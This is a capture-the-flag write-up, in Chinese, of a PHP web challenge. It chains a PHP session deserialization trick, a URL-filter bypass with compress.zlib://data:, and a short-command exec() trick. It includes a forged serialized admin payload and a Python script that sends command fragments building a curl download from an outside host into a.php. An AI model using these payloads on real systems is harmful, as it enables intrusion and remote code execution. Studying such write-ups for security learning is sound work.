考点一、源码泄露
扫到源码
考点二、session反序列化
在login.php内包含了init.php,其中设置了序列化处理器,并且session是以文件形式保留的
1 2 3 session_save_path('session' ); ini_set('session.serialize_handler' ,'php_serialize' ); session_start() 
而profile.php和core/init.php中使用了另外的序列化处理器:
1 2 3 session_save_path('../session' ); ini_set('session.serialize_handler' , 'php' ); session_start(); 
考点就很明显了。handler的不同点在于:
正好可以发现,在upload_sign.php中,$_SESSION['sign']是完全可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  function  __construct ()     if  (isset ($_POST['sign' ])) {         $this ->sign = $_POST['sign' ];     } else  {         $this ->sign = "这里空空如也哦" ;     } } public  function  upload ()     if  ($this ->checksign($this ->sign)) {         $_SESSION['sign' ] = $this ->sign;         $_SESSION['admin' ] = $this ->admin;     } else  {         echo  "???" ;     } } 
而core中要求我们的$_SESSION['admin']为1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function  check_session ($session)     foreach  ($session as  $keys => $values) {         foreach  ($values as  $key => $value) {             if  ($key === 'admin'  && $value === 1 ) {                 return  true ;             }         }     }     return  false ; } if  (check_session($_SESSION)) {     } else  {     die ('只有管理员才能看到我哟' ); } 
所以我们可以控制sign这个session,利用序列化handler的差异进行session反序列化,将$_SESSION['admin']反序列化为1,本地生成序列化:
1 2 3 4 5 6 7 8 9 <?php class  info     public  $admin = 1 ; } $y1ng = new  info(); echo  serialize($y1ng);
得到:
1 O :4 :"info" :1 :{s :5 :"admin" ;i :1 ;}
在upload_sign.php进行POST提交以下内容
1 sign=12123 |O:4 :"info" :1 :{s:5 :"admin" ;i:1 ;} 
访问core/index.php 可以发现session验证成功,得到了core的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once ('./init.php' );error_reporting(0 ); if  (check_session($_SESSION)) {         $sandbox = './sandbox/'  . md5("Mrk@1xI^"  . $_SERVER['REMOTE_ADDR' ]);     echo  $sandbox;     @mkdir($sandbox);     @chdir($sandbox);     if  (isset ($_POST['url' ])) {         $url = $_POST['url' ];         if  (filter_var($url, FILTER_VALIDATE_URL)) {             if  (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) {                 echo  "you are hacker" ;             } else  {                 $res = parse_url($url);                 if  (preg_match('/127\.0\.0\.1$/' , $res['host' ])) {                     $code = file_get_contents($url);                     if  (strlen($code) <= 4 ) {                         @exec($code);                     } else  {                         echo  "try again" ;                     }                 }             }         } else  {             echo  "invalid url" ;         }     } else  {         highlight_file(__FILE__ );     } } else  {     die ('只有管理员才能看到我哟' ); } 
考点三、BYPASS
这里对URL进行了匹配过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if  (filter_var($url, FILTER_VALIDATE_URL)) {	if  (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) { 		echo  "you are hacker" ; 	} else  { 		$res = parse_url($url); 		if  (preg_match('/127\.0\.0\.1$/' , $res['host' ])) { 			$code = file_get_contents($url); 			if  (strlen($code) <= 4 ) { 				@exec($code); 			} else  { 				echo  "try again" ; 			} 		} 	} } 
过滤了data://,要求必须是127.0.0.1,还要file_get_contents()
1 2 3 compress.zlib: //data:@127 .0 .0 .1 /text/palin,lscompress.zlib: //data:@127 .0 .0 .1 ?
然后命令执行就和hitcon那个差不多,直接拿过来脚本跑一下,不过记得要设置一下cookie为PHPSESSID才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import  requestsfrom  time import  sleepfrom  urllib import  quoteimport  base64payload = [          '>dir' ,      '>sl' ,      '>g\>' ,     '>ht-' ,     '*>v' ,          '>rev' ,     '*v>x' ,               '>p\ ' ,      '>ph\\' ,      '>a.\\' ,      '>\>\\' ,     '>72\\' ,     '>cf\\' ,      '>cc\\' ,      '>81\\' ,     '>0x\\' ,      '>\ \\' ,      '>rl\\' ,      '>cu\\' ,                'sh x' ,      'sh g' ,  ] payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'  cookies={'PHPSESSID' : 'ddd' } r = requests.get('http://121.36.222.22:88/core/clear.php' ,cookies=cookies) for  i in  payload:    assert  len(i) <= 20                       r = requests.post('http://121.36.222.22:88/core/index.php' ,cookies=cookies,data={"url" :payload_all.format(base64.b64encode(i))})     print  r.text     sleep(0.5 )